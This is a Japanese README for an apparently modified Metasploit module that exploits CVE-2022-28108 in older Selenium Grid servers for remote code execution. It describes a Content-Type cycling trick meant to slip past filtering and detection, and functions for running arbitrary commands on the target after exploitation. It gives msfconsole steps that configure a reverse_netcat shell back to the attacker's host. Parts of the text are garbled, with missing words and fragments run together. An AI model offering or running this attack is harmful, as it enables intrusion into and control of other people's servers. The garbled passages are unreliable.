
Selenium GridのCVE-2022-28108を悪用してリモートコード実行を行うMetasploitモジュール。コンテンツタイプ回避とポストエクスプロイテーション機能を備えています。
このリポジトリには、Selenium Server(Grid)の旧バージョンにおけるリモートコード実行(RCE)の脆弱性を悪用するMetasploitモジュールの修正版が含まれています。
このコードを使用する前に、このREADMEをよくお読みください。
原著作者への謝辞:
このモジュールは、CVE-2022-28108向けMetasploitモジュールの原著作者による優れた業績に基づいています。Selenium Serverの脆弱性を悪用する中核的な機能は、その実装に大きく基づいています。私たちは、セキュリティコミュニティへの彼らの貢献に謝意を表します。
'Author' セクション)でクレジットされています。具体的な名前についてはオリジナルのモジュールを参照してください。悪用される脆弱性:
このモジュールは、Selenium Server(Grid)の4.0.0-alpha-7より前のバージョンにおけるクロスサイトリクエストフォージェリ(CSRF)脆弱性である CVE-2022-28108 を標的とします。この脆弱性は、サーバーが特定のリクエストに対してJSON以外のコンテンツタイプ(text/plain、application/x-www-form-urlencoded、multipart/form-data など)を許可することに起因します。攻撃者はこれを利用して悪意のあるリクエストを送信し、サーバー上でリモートコード実行(RCE)を行うことができます。
オリジナルコードの仕組み:
オリジナルのMetasploitモジュールは、脆弱なSelenium Serverの /wd/hub/session エンドポイントに細工したPOSTリクエストを送信することでこの脆弱性を悪用します。このリクエストは、JSON以外の Content-Type(具体的には )を利用し、目的のブラウザ機能の 内に悪意のある設定を含めます。これにより、攻撃者は任意のバイナリ( など)と引数を指定し、新しいブラウザセッションが開始されたときにサーバー上で実行させることができます。
text/plaingoog:chromeOptions/usr/bin/python3このバージョンでの変更点と拡張機能:
このリポジトリには、オリジナルのMetasploitモジュールの修正版が含まれています。主な変更点は以下のとおりです。
Content-Type ヘッダーで悪意のあるリクエストを送信して脆弱性を悪用しようとします。これには text/plain、application/x-www-form-urlencoded、multipart/form-data が含まれます。これは、特定の Content-Type を探している可能性のある基本的なフィルタリングや検知メカニズムを迂回する可能性を狙ったものです。execute_post_exploitation 関数: 新しい関数 execute_post_exploitation(session_response) が追加されました。この関数はエクスプロイト成功後に呼び出され、基本的なポストエクスプロイテーションタスクを実行することを目的としています。現在の実装では、以下が含まれます。
execute_command_on_target 関数: もう1つの新しい関数 execute_command_on_target(command) が追加されました。この関数は、エクスプロイト成功後にターゲットシステム上で任意のコマンドを実行することを可能にします。これは execute_post_exploitation 関数内で使用され、さらなるポストエクスプロイテーション活動のために拡張できます。主な相違点:
中心的な違いは、exploit メソッドと2つの新しい関数の追加にあります。
exploit メソッド: Content-Type: text/plain を使用した単一のリクエストを送信することに重点を置いていました。exploit メソッド: 異なる Content-Type の値を繰り返し処理し、それぞれでエクスプロイトを試みます。エクスプロイトが成功すると、execute_post_exploitation 関数を呼び出します。execute_post_exploitation 関数と execute_command_on_target 関数は、この修正版への完全に新しい追加であり、拡張されたポストエクスプロイテーション機能を提供します。修正版モジュールの使用方法:
.rb ファイル(例:selenium_rce_extended.rb)として保存してください。/usr/share/metasploit-framework/modules/exploits/ または ~/.msf4/modules/exploits/ にあります。正確な場所については、お使いのMetasploitのインストール先を参照してください。msfconsole を実行してください。use exploit/selenium_rce_extended を使用します(サブディレクトリに配置した場合は、ファイルを保存したパスを使用します)。msf6 exploit(selenium_rce_extended) > set RHOSTS <target_ip>
msf6 exploit(selenium_rce_extended) > set RPORT <target_port>
msf6 exploit(selenium_rce_extended) > set PAYLOAD cmd/unix/reverse_netcat
msf6 exploit(selenium_rce_extended) > set LHOST <your_ip>
msf6 exploit(selenium_rce_extended) > set LPORT <your_port>
exploit でモジュールを実行します。重要な注意事項(免責事項):
免責条項:
この修正版コードの作成者は、このモジュールの使用によって引き起こされた誤用や損害について責任を負いません。このコードを使用することにより、あなたは自分の行動に対して全責任を負うことに同意したものとみなされます。
ライセンス:
この修正版コードは、おそらく元のMetasploit Frameworkと同じライセンス(通常はMSFライセンス)の対象です。詳細については、元のMetasploit Frameworkライセンスを参照してください。
貢献:
このモジュールへの貢献や改善を歓迎します。バグ修正、機能強化、新機能などを含むプルリクエストを遠慮なく送信してください。
謝辞:
CVE-2022-28108向けMetasploitモジュールの原著作者に改めて感謝の意を表します。彼らの業績がこの修正版モジュールの基盤を形成しています。